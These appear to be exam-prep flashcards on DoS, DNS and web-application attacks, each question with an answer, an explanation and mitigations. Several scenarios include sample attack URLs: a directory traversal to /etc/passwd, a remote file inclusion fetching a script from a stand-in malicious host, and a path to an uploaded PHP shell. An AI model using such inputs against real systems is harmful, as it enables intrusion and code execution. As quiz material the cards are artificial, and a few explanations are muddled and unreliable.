Malicious Activity Flashcards
2.4: Given a scenario, you must be able to analyze indicators of malicious activity
What is the primary goal of a Denial of Service (DoS) attack?
A) To steal sensitive information from a target
B) To make a computer or server’s resources unavailable
C) To gain administrative access to a system
D) To inject malicious code into an application
Answer:
✅ B) To make a computer or server’s resources unavailable
Explanation:
A DoS attack aims to overwhelm a target system so that it cannot respond to legitimate requests. Unlike hacking or data theft, a DoS attack does not attempt to steal information (A) or gain administrative control (C). It also does not involve injecting malicious code (D), which is a characteristic of malware or ransomware attacks.
Which type of flood attack attempts to overload a server with ICMP echo requests?
A) SYN Flood
B) Ping Flood
C) DNS Amplification Attack
D) Fork Bomb
Answer:
✅ B) Ping Flood
Explanation:
A Ping Flood attack sends excessive ICMP Echo Request (ping) packets to a target system, attempting to overwhelm it.
(A) SYN Flood attacks focus on TCP connections.
(C) DNS Amplification exploits large DNS responses.
(D) Fork Bombs create excessive system processes rather than sending network traffic.
What is the primary difference between a DoS and a DDoS attack?
A) A DoS attack targets multiple systems, while a DDoS attack targets one system.
B) A DoS attack involves malware, while a DDoS attack does not.
C) A DDoS attack uses multiple machines to overwhelm a target, while a DoS attack typically uses a single machine.
D) A DDoS attack only occurs on DNS servers, while a DoS attack affects any server.
Answer:
✅ C) A DDoS attack uses multiple machines to overwhelm a target, while a DoS attack typically uses a single machine.
Explanation:
A DoS attack is launched from one machine to exhaust a server’s resources.
A DDoS attack uses a botnet of multiple machines to attack simultaneously.
(A) is incorrect because both DoS and DDoS target single systems.
(B) is incorrect because neither attack requires malware.
(D) is incorrect since DDoS can affect any server, not just DNS.
What technique do attackers use to cause a DNS Amplification attack?
A) Sending multiple ping requests to a DNS server
B) Spoofing the victim’s IP and sending small DNS requests that generate large responses
C) Opening multiple TCP connections but never completing the handshake
D) Overloading a server with a rapid power cycling attack
Answer:
✅ B) Spoofing the victim’s IP and sending small DNS requests that generate large responses
Explanation:
DNS Amplification spoofs the victim’s IP address and sends small DNS queries that generate large responses, overwhelming the victim’s network.
(A) describes a Ping Flood.
(C) describes a SYN Flood.
(D) is a PDoS attack method.
What is the main function of a flood guard?
A) To block excessive SYN packets before they overwhelm a server
B) To prevent malware from infecting a network
C) To route all malicious traffic to a non-existent server
D) To remove botnets from a network
Answer:
✅ A) To block excessive SYN packets before they overwhelm a server
Explanation:
Flood guards detect and block SYN floods, which attempt to exhaust server resources by leaving TCP connections half-open.
(B) is incorrect because flood guards are not antivirus tools.
(C) describes blackholing or sinkholing.
(D) is incorrect because removing botnets requires specialized malware removal.
What is the purpose of a Permanent Denial of Service (PDoS) attack?
A) To temporarily disable a server by overloading it with traffic
B) To exploit a security flaw and permanently damage a device, such as reflashing firmware
C) To take control of a system and steal sensitive data
D) To send large volumes of spam email to a network
Answer:
✅ B) To exploit a security flaw and permanently damage a device, such as reflashing firmware
Explanation:
A PDoS attack (“bricking” a device) permanently damages hardware by installing malicious firmware or overloading the device.
(A) describes a DoS/DDoS attack.
(C) is hacking, not DoS.
(D) describes a spam or phishing attack.
How does a Fork Bomb attack a system?
A) By overloading a network device with malicious firmware
B) By creating an excessive number of processes, exhausting system resources
C) By opening multiple TCP connections but never completing them
D) By sending a flood of DNS requests to a victim
Answer:
✅ B) By creating an excessive number of processes, exhausting system resources
Explanation:
A Fork Bomb continuously creates processes, consuming all available CPU/memory.
(A) describes PDoS.
(C) describes a SYN Flood.
(D) describes DNS Amplification.
What is a limitation of blackholing as a DDoS mitigation technique?
A) It permanently removes attackers from the network
B) Attackers can change IP addresses and continue the attack
C) It is an expensive solution that only large organizations can afford
D) It requires specialized cloud services like Akamai or Cloudflare
Answer:
✅ B) Attackers can change IP addresses and continue the attack
Explanation:
Blackholing routes malicious traffic to a null interface, stopping attacks temporarily. However, attackers can change their IP addresses and resume the attack.
(A) is incorrect because blackholing is temporary.
(C) & (D) are incorrect because blackholing is a simple method, not requiring expensive services.
Which is NOT a DDoS mitigation strategy?
A) Using an Intrusion Prevention System (IPS)
B) Implementing a flood guard
C) Using a botnet to attack attackers
D) Scaling cloud infrastructure
Answer:
✅ C) Using a botnet to attack attackers
Explanation:
Using a botnet to attack is illegal and would be considered offensive hacking.
(A, B, and D) are all valid DDoS mitigation strategies.
Why does DNS typically use UDP instead of TCP?
A) UDP is faster and requires no connection establishment
B) TCP is unreliable for DNS requests
C) DNS does not need to transfer large amounts of data
D) UDP ensures stronger security than TCP
Answer:
✅ A) UDP is faster and requires no connection establishment
Explanation:
DNS primarily uses UDP because it is fast and doesn’t require a three-way handshake like TCP.
(B, C, and D) are incorrect because TCP is used for large DNS queries, not because UDP is more secure.
Scenario:
A financial institution receives reports from customers who claim that when they try to visit their online banking portal, they are redirected to a fake website that looks identical to the real one. The bank’s IT security team investigates and finds that attackers have altered the DNS cache of certain DNS resolvers, causing legitimate customers to be redirected to a malicious IP address.
What type of attack is this?
A) DNS Amplification
B) DNS Cache Poisoning
C) DNS Tunneling
D) DNS Zone Transfer Attack
✅ Correct Answer: B) DNS Cache Poisoning
Explanation:
This attack involves corrupting the DNS resolver’s cache with false information to redirect users to a fake website.
(A) DNS Amplification is incorrect because that attack involves flooding a target with excessive DNS traffic, not redirection.
(C) DNS Tunneling is incorrect because tunneling is used for data exfiltration and bypassing firewalls, not DNS cache manipulation.
(D) DNS Zone Transfer Attack is incorrect because that attack is used for reconnaissance, not redirecting users.
How can the organization prevent this attack?
A) Enable DNSSEC (Domain Name System Security Extensions)
B) Disable all external DNS queries
C) Block all DNS traffic on the firewall
D) Allow only large DNS responses
✅ Correct Answer: A) Enable DNSSEC (Domain Name System Security Extensions)
Explanation:
DNSSEC helps prevent DNS cache poisoning by using cryptographic signatures to verify the authenticity of DNS responses.
(B) Disabling all external DNS queries is impractical because external DNS resolution is necessary for normal internet browsing.
(C) Blocking all DNS traffic would disrupt legitimate web browsing.
(D) Allowing large DNS responses could actually make attacks worse, as attackers could exploit DNS amplification techniques.
Scenario:
An online gaming platform suddenly goes offline. Network traffic logs show that the company’s servers are being flooded with a massive amount of DNS response traffic, all coming from various DNS servers across the internet. Upon further investigation, the security team finds that attackers are sending small DNS queries with the company’s spoofed IP address, which triggers large DNS responses being sent back to their servers.
What type of attack is occurring?
A) DNS Tunneling
B) DNS Amplification Attack
C) DNS Cache Poisoning
D) Domain Hijacking
✅ Correct Answer: B) DNS Amplification Attack
Explanation:
The attacker spoofs the victim’s IP address, sending small queries to open DNS resolvers, which then respond with large traffic volumes, overwhelming the victim.
(A) DNS Tunneling is incorrect because tunneling involves data exfiltration, not high-volume response traffic.
(C) DNS Cache Poisoning is incorrect because DNS caches are not being manipulated, just flooded with traffic.
(D) Domain Hijacking involves stealing control of a domain name, which is not happening in this scenario.
How can organizations mitigate this type of attack?
A) Block all outgoing DNS requests
B) Use DNSSEC to sign DNS records
C) Rate-limit DNS response traffic and restrict large queries
D) Encrypt all DNS queries
✅ Correct Answer: C) Rate-limit DNS response traffic and restrict large queries
Explanation:
Rate-limiting DNS responses reduces the impact of DNS amplification attacks by limiting how frequently a DNS server can respond.
(A) Blocking all outgoing DNS requests would disrupt normal operations.
(B) DNSSEC protects against DNS spoofing, not high-volume flooding.
(D) Encrypting DNS queries (such as using DNS-over-HTTPS) does not prevent amplification, as the attack does not rely on encrypted data.
Scenario:
A company’s firewall is configured to block SSH and HTTP traffic to unauthorized external servers. However, after a security breach, forensic analysis shows that an attacker was sending data to an external server via DNS queries. The attacker used the company’s own DNS infrastructure to bypass the firewall and extract sensitive files.
What type of attack is this?
A) DNS Cache Poisoning
B) DNS Zone Transfer Attack
C) DNS Tunneling
D) DNS Amplification
✅ Correct Answer: C) DNS Tunneling
Explanation:
DNS Tunneling allows attackers to encapsulate malicious traffic inside DNS queries, which usually bypass firewalls.
(A) DNS Cache Poisoning is incorrect because there is no cache manipulation occurring.
(B) DNS Zone Transfer Attack is incorrect because no unauthorized zone transfer is being attempted.
(D) DNS Amplification is incorrect because there is no large-scale flooding of DNS responses.
How can organizations detect and prevent DNS tunneling?
A) Monitor and analyze DNS logs for unusual query patterns
B) Block all external DNS requests
C) Use DNSSEC to prevent data exfiltration
D) Disable all DNS queries on corporate networks
✅ Correct Answer: A) Monitor and analyze DNS logs for unusual query patterns
Explanation:
Unusual query patterns (such as long, encoded queries or frequent lookups for unknown domains) can indicate DNS tunneling.
(B) Blocking all external DNS requests is impractical.
(C) DNSSEC protects against spoofing, not tunneling.
(D) Disabling all DNS queries would disrupt internet access.
Scenario:
An e-commerce company suddenly loses control of its domain name. Customers attempting to visit the website are redirected to an unknown page that asks for credit card details. IT security confirms that the domain’s registration details were changed without authorization, transferring control to an unknown entity.
What type of attack is this?
A) DNS Amplification Attack
B) Domain Hijacking
C) DNS Tunneling
D) DNS Cache Poisoning
✅ Correct Answer: B) Domain Hijacking
Explanation:
Domain Hijacking occurs when an attacker gains unauthorized control over a domain registration.
(A) DNS Amplification does not involve domain registration changes.
(C) DNS Tunneling is incorrect because no data exfiltration is happening.
(D) DNS Cache Poisoning affects DNS resolvers, not domain registration records.
How can companies prevent domain hijacking?
A) Use multi-factor authentication and registry lock on domain registration accounts
B) Encrypt all DNS requests to prevent hijacking
C) Disable all DNS queries to the affected domain
D) Enable DNSSEC to prevent unauthorized domain transfers
✅ Correct Answer: A) Use multi-factor authentication and registry lock on domain registration accounts
Explanation:
Registry locks prevent unauthorized domain name transfers.
(B) Encrypting DNS requests does not protect domain registration.
(C) Disabling DNS queries would only make the site inaccessible.
**(D) DNSSEC does not protect against unauthorized domain transfers.
A web developer at a financial institution is reviewing security logs and notices suspicious requests coming from an external IP. The logs show repeated attempts using URLs such as:
https://securebank.com/account-details?file=../../etc/passwd
The attacker appears to be trying to access system files outside the web document root directory.
What type of attack is the attacker attempting?
A) SQL Injection
B) Directory Traversal Attack
C) Cross-Site Scripting (XSS)
D) Remote File Inclusion (RFI)
✅ Correct Answer: B) Directory Traversal Attack
Explanation:
The attacker is using ../../etc/passwd to navigate outside the web root directory and access system files.
(A) SQL Injection involves injecting SQL code, which is not present in this scenario.
(C) XSS involves injecting JavaScript or HTML to execute in a user’s browser, which is not happening here.
(D) Remote File Inclusion (RFI) involves loading a file from a remote server, which is not the case here.
How can the web server be secured against this attack?
A) Use input validation to block ../ sequences
B) Allow only trusted IP addresses to access system files
C) Encrypt all files on the web server
D) Set file permissions to read-only for all users
✅ Correct Answer: A) Use input validation to block ../ sequences
Explanation:
Input validation prevents users from entering malicious file paths.
(B) Allowing trusted IPs does not address the vulnerability, as the attack exploits a code flaw.
(C) Encrypting files does not stop unauthorized access via directory traversal.
(D) Read-only file permissions do not prevent traversal; they only restrict modifications.
Scenario:
A company’s customer login portal is compromised when attackers exploit a vulnerability in the system. The attackers inject a remote malicious script using the following URL:
https://example.com/login.php?user=http://malware.site/malicious.php
The malicious.php script is executed on the company’s server, allowing the attacker to gain control.
What type of attack is this?
A) Remote File Inclusion (RFI)
B) Local File Inclusion (LFI)
C) SQL Injection
D) Directory Traversal
✅ Correct Answer: A) Remote File Inclusion (RFI)
Explanation:
The attacker injects a remote script (http://malware.site/malicious.php) into the application.
(B) LFI would involve executing existing local files rather than loading one from a remote server.
(C) SQL Injection manipulates databases, which is not happening here.
(D) Directory Traversal tries to access restricted local system files, not execute remote files.
How can organizations prevent Remote File Inclusion attacks?
A) Disable the execution of PHP scripts from remote sources
B) Store all files on an external cloud storage
C) Use strong passwords for user authentication
D) Limit database access to administrators only
✅ Correct Answer: A) Disable the execution of PHP scripts from remote sources
Explanation:
Disabling remote file execution in the server settings prevents the system from executing malicious remote scripts.
(B) Storing files on a cloud does not address the core vulnerability in web application handling.
(C) Strong passwords protect against brute force attacks, not RFI.
(D) Limiting database access does not prevent RFI, as RFI does not involve databases.
Scenario:
A forum allows users to upload images as part of their profiles. An attacker uploads a PHP shell disguised as an image and then accesses it using a directory traversal attack:
https://forum.com/profile.php?file=../../uploads/shell.php
Now, the attacker can execute arbitrary commands on the system.
What type of attack is this?
A) SQL Injection
B) Cross-Site Request Forgery (CSRF)
C) Local File Inclusion (LFI)
D) Remote File Inclusion (RFI)
✅ Correct Answer: C) Local File Inclusion (LFI)
Explanation:
LFI allows an attacker to execute files that already exist on the local server.
(A) SQL Injection involves database manipulation, not file execution.
(B) CSRF forces users to perform unintended actions, which is unrelated.
(D) RFI requires files to be loaded from external sources, which is not the case here.
What is the best way to prevent LFI attacks?
A) Restrict file uploads to only non-executable formats (e.g., JPEG, PNG)
B) Allow users to upload files directly to the root directory
C) Use weak encryption to mask file names
D) Increase server RAM to handle large file loads
✅ Correct Answer: A) Restrict file uploads to only non-executable formats (e.g., JPEG, PNG)
Explanation:
Restricting file types prevents attackers from uploading executable scripts like PHP files.
(B) Allowing uploads to the root directory increases risk.
(C) Weak encryption does not prevent malicious execution.
(D) Increasing server RAM does not address the security vulnerability.